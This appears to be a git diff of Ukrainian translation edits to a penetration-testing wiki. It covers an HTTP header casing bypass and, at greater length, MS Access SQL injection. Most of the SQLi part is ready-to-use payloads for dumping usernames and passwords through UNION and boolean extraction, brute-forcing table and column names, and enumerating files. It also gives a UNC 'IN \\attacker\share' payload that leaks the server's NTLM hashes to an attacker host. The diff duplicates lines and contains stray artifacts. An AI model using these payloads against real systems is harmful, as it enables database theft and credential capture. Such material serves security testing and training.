CORP є важливим для визначення, які ресурси можуть бути завантажені веб-сайтами, зменшуючи крос-сайтові витоки. CORS, з іншого боку, дозволяє більш гнучкий механізм обміну ресурсами між різними доменами, послаблюючи політику однакового походження за певних умов.
```
Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
```
### **Політика вбудовування з різних джерел (COEP) та політика відкриття з різних джерел (COOP)**
### **Політика вбудовування з різних джерел (COEP) та Політика відкривача з різних джерел (COOP)**
COEP та COOP є важливими для забезпечення ізоляції з різних джерел, значно зменшуючи ризик атак, подібних до Spectre. Вони контролюють завантаження ресурсів з різних джерел та взаємодію з вікнами з різних джерел відповідно.
```
@ -181,7 +181,7 @@ Strict-Transport-Security: max-age=3153600
```
## Header Name Casing Bypass
HTTP/1.1 визначає імена полів заголовків як **незалежні від регістру** (RFC 9110 §5.1). Проте, дуже часто можна зустріти кастомні проміжні програми, фільтри безпеки або бізнес-логіку, які порівнюють *літерне* ім'я заголовка, отримане без попередньої нормалізації регістру (наприклад, `header.equals("CamelExecCommandExecutable")`). Якщо ці перевірки виконуються **чутливо до регістру**, зловмисник може обійти їх, просто надіславши той же заголовок з іншим написанням.
HTTP/1.1 визначає імена полів заголовків як **незалежні від регістру** (RFC 9110 §5.1). Проте, дуже часто можна зустріти кастомне проміжне програмне забезпечення, фільтри безпеки або бізнес-логіку, які порівнюють *літерне* ім'я заголовка, отримане без попередньої нормалізації регістру (наприклад, `header.equals("CamelExecCommandExecutable")`). Якщо ці перевірки виконуються **чутливо до регістру**, зловмисник може обійти їх, просто надіславши той же заголовок з іншим написанням.
Типові ситуації, в яких виникає ця помилка:

View File

@ -40,7 +40,7 @@
## UNION Запити/Підзапити
У SQLi ви зазвичай хочете якимось чином виконати новий запит, щоб витягти інформацію з інших таблиць. MS Access завжди вимагає, щоб у **підзапитах або додаткових запитах був вказаний `FROM`**.\
Отже, якщо ви хочете виконати `UNION SELECT` або `UNION ALL SELECT` або `SELECT` в дужках у умові, вам завжди **необхідно вказати `FROM` з дійсною назвою таблиці**.\
Отже, якщо ви хочете виконати `UNION SELECT` або `UNION ALL SELECT` або `SELECT` в дужках у умові, вам завжди **потрібно вказати `FROM` з дійсною назвою таблиці**.\
Тому вам потрібно знати **дійсну назву таблиці**.
```sql
-1' UNION SELECT username,password from users%00
@ -48,15 +48,15 @@
### Chaining equals + Substring
> [!WARNING]
> Це дозволить вам ексфільтрувати значення поточної таблиці без необхідності знати назву таблиці.
> Це дозволить вам ексфільтрувати значення поточної таблиці, не знаючи назви таблиці.
**MS Access** дозволяє **незвичний синтаксис** такий як **`'1'=2='3'='asd'=false`**. Як зазвичай, SQL-ін'єкція буде всередині **`WHERE`** клаузи, і ми можемо це зловживати.
Уявіть, що у вас є SQLi в базі даних MS Access, і ви знаєте (або здогадалися), що одна **назва стовпця - username**, і це поле, яке ви хочете **ексфільтрувати**. Ви могли б перевірити різні відповіді веб-додатку, коли використовується техніка зчеплення рівних, і потенційно ексфільтрувати вміст за допомогою **булевої ін'єкції**, використовуючи функцію **`Mid`** для отримання підрядків.
Уявіть, що у вас є SQLi в базі даних MS Access, і ви знаєте (або здогадалися), що одна **назва стовпця - це username**, і це поле, яке ви хочете **ексфільтрувати**. Ви могли б перевірити різні відповіді веб-додатку, коли використовується техніка зчеплення рівних, і потенційно ексфільтрувати вміст за допомогою **булевої ін'єкції**, використовуючи функцію **`Mid`** для отримання підрядків.
```sql
'=(Mid(username,1,3)='adm')='
```
Якщо ви знаєте **ім'я таблиці** та **стовпця**, які потрібно вивантажити, ви можете використовувати комбінацію між `Mid`, `LAST` та `TOP`, щоб **вивести всю інформацію** через булевий SQLi:
Якщо ви знаєте **назву таблиці** та **стовпця**, які потрібно вивантажити, ви можете використовувати комбінацію між `Mid`, `LAST` та `TOP`, щоб **вивести всю інформацію** через булевий SQLi:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
@ -64,7 +64,7 @@ _Не соромтеся перевірити це в онлайн-плейгр
### Брутфорс назв таблиць
Використовуючи техніку ланцюгового рівності, ви також можете **брутфорсити назви таблиць** з чимось на кшталт:
Використовуючи техніку зв'язування рівних, ви також можете **брутфорсити назви таблиць** з чимось на кшталт:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
@ -75,11 +75,11 @@ _Не соромтеся перевірити це в онлайн-плейгр
_Не соромтеся перевірити це в онлайн-плейграунді._
- Sqlmap загальні назви таблиць: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- Є ще один список в [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- Є ще один список на [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Брутфорсинг назв колонок
### Брутфорсинг назв стовпців
Ви можете **брутфорсити поточні назви колонок** за допомогою трюку з ланцюговими рівностями з:
Ви можете **брутфорсити поточні назви стовпців** за допомогою трюку з ланцюговим рівнянням з:
```sql
'=column_name='
```
@ -95,11 +95,11 @@ _Не соромтеся перевірити це в онлайн-плейгр
```
### Вивантаження даних
Ми вже обговорювали [**техніку з'єднання рівно**](ms-access-sql-injection.md#chaining-equals-+-substring) **для вивантаження даних з поточної та інших таблиць**. Але є й інші способи:
Ми вже обговорювали [**техніку зчеплення рівних**](ms-access-sql-injection.md#chaining-equals-+-substring) **для вивантаження даних з поточної та інших таблиць**. Але є й інші способи:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
У двох словах, запит використовує оператор "if-then", щоб викликати "200 OK" у випадку успіху або "500 Internal Error" в іншому випадку. Використовуючи оператор TOP 10, можна вибрати перші десять результатів. Подальше використання LAST дозволяє врахувати лише 10-й кортеж. На такому значенні, використовуючи оператор MID, можна виконати просте порівняння символів. Правильно змінюючи індекс MID і TOP, ми можемо вивантажити вміст поля "username" для всіх рядків.
У двох словах, запит використовує оператор "if-then", щоб викликати "200 OK" у випадку успіху або "500 Internal Error" в іншому випадку. Використовуючи оператор TOP 10, можна вибрати перші десять результатів. Подальше використання LAST дозволяє врахувати лише 10-ту кортеж. На такому значенні, використовуючи оператор MID, можна виконати просте порівняння символів. Правильно змінюючи індекс MID і TOP, ми можемо вивантажити вміст поля "username" для всіх рядків.
### Часові (Сліпі) Трюки
@ -109,11 +109,11 @@ Jet/ACE SQL сам по собі **не** надає рідну функцію `
```
Вкажіть UNC шлях до:
* SMB спільного доступу за високошвидкісним з'єднанням
* SMB спільного доступу за посиланням з високою затримкою
* хоста, який скидає TCP рукопожаття після `SYN-ACK`
* вогневого стовпа
* вогневої стіни-сінкхолу
Додаткові секунди, введені віддаленим запитом, можуть бути використані як **вимірювальний оракул поза каналом** для булевих умов (наприклад, вибрати повільний шлях лише тоді, коли ін'єкований предикат істинний). Microsoft документує поведінку віддаленої бази даних та пов'язаний реєстровий вимикач у KB5002984. citeturn1search0
Додаткові секунди, введені віддаленим запитом, можуть бути використані як **вимірювальний оракул поза каналом** для булевих умов (наприклад, вибрати повільний шлях лише тоді, коли інжектоване предикат є істинним). Microsoft документує поведінку віддаленої бази даних та пов'язаний реєстраційний перемикач у KB5002984. citeturn1search0
### Інші цікаві функції
@ -136,13 +136,13 @@ and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
Однак зверніть увагу, що дуже типово знаходити SQL-ін'єкції, коли у вас **немає доступу для читання таблиці `MSysObjects`**.
Однак зверніть увагу, що дуже типово знаходити SQL-ін'єкції, де ви **не маєте доступу для читання таблиці `MSysObjects`**.
## Доступ до файлової системи
### Повний шлях до кореневої директорії веб-сайту
Знання **абсолютного шляху до кореневої директорії веб-сайту може полегшити подальші атаки**. Якщо помилки програми не повністю приховані, шлях до директорії можна виявити, намагаючись вибрати дані з неіснуючої бази даних.
Знання **абсолютного шляху до кореневої директорії веб-сайту може полегшити подальші атаки**. Якщо помилки програми не повністю приховані, шлях до директорії може бути виявлений, намагаючись вибрати дані з неіснуючої бази даних.
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
@ -150,7 +150,7 @@ MS Access відповідає **повідомленням про помилк
### Перерахування файлів
Наступний вектор атаки може бути використаний для **виявлення існування файлу на віддаленій файловій системі**. Якщо вказаний файл існує, MS Access викликає повідомлення про помилку, що інформує про те, що формат бази даних є недійсним:
Наступний вектор атаки може бути використаний для **виведення існування файлу на віддаленій файловій системі**. Якщо вказаний файл існує, MS Access викликає повідомлення про помилку, що інформує про те, що формат бази даних є недійсним:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
@ -160,19 +160,19 @@ MS Access відповідає **повідомленням про помилк
### Вгадування імені файлу .mdb
**Ім'я файлу бази даних (.mdb)** можна виявити за допомогою наступного запиту:
**Ім'я файлу бази даних (.mdb)** можна вивести за допомогою наступного запиту:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Де **name[i] - це ім'я файлу .mdb** і **realTable - це існуюча таблиця** в базі даних. Хоча MS Access завжди викликатиме повідомлення про помилку, можливо відрізнити недійсне ім'я файлу від дійсного імені файлу .mdb.
Де **name[i] є іменем файлу .mdb** і **realTable є існуючою таблицею** в базі даних. Хоча MS Access завжди викликатиме повідомлення про помилку, можливо відрізнити недійсне ім'я файлу від дійсного імені файлу .mdb.
### Доступ до віддаленої бази даних та крадіжка облікових даних NTLM (2023)
Оскільки Jet 4.0, кожен запит може посилатися на таблицю, розташовану в *іншому* файлі `.mdb/.accdb` за допомогою клаузи `IN '<path>'`:
Оскільки Jet 4.0, кожен запит може посилатися на таблицю, розташовану в *іншому* файлі `.mdb/.accdb` через клаузу `IN '<path>'`:
```sql
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
```
Якщо введення користувача конкатенується в частині після **IN** (або в `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` виклику), зловмисник може вказати **UNC шлях**, який вказує на хост, який вони контролюють. Двигун буде:
Якщо введення користувача конкатенується в частині після **IN** (або в `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` виклику), зловмисник може вказати **UNC шлях**, який вказує на хост, яким він керує. Двигун буде:
1. намагатися аутентифікуватися через SMB / HTTP, щоб відкрити віддалену базу даних;
2. витікати **NTLM облікові дані** веб-сервера (примусова аутентифікація);
@ -186,10 +186,10 @@ IN '\\attacker\share\poc.mdb'-- -
```
Вплив:
* Витік Net-NTLMv2 хешів (можна використовувати для реле або офлайн-ламання).
* Витік Net-NTLMv2 хешів (можна використовувати для реле або офлайн злому).
* Потенційне віддалене виконання коду, якщо буде використано нову уразливість парсера Jet/ACE.
Заходи пом'якшення (рекомендується навіть для застарілих Classic ASP додатків):
Заходи з пом'якшення (рекомендується навіть для застарілих Classic ASP додатків):
* Додайте значення реєстру `AllowQueryRemoteTables = 0` під `HKLM\Software\Microsoft\Jet\4.0\Engines` (і під відповідним шляхом ACE). Це змушує Jet/ACE відхиляти віддалені шляхи, що починаються з `\\`.
* Блокуйте вихідний SMB/WebDAV на межі мережі.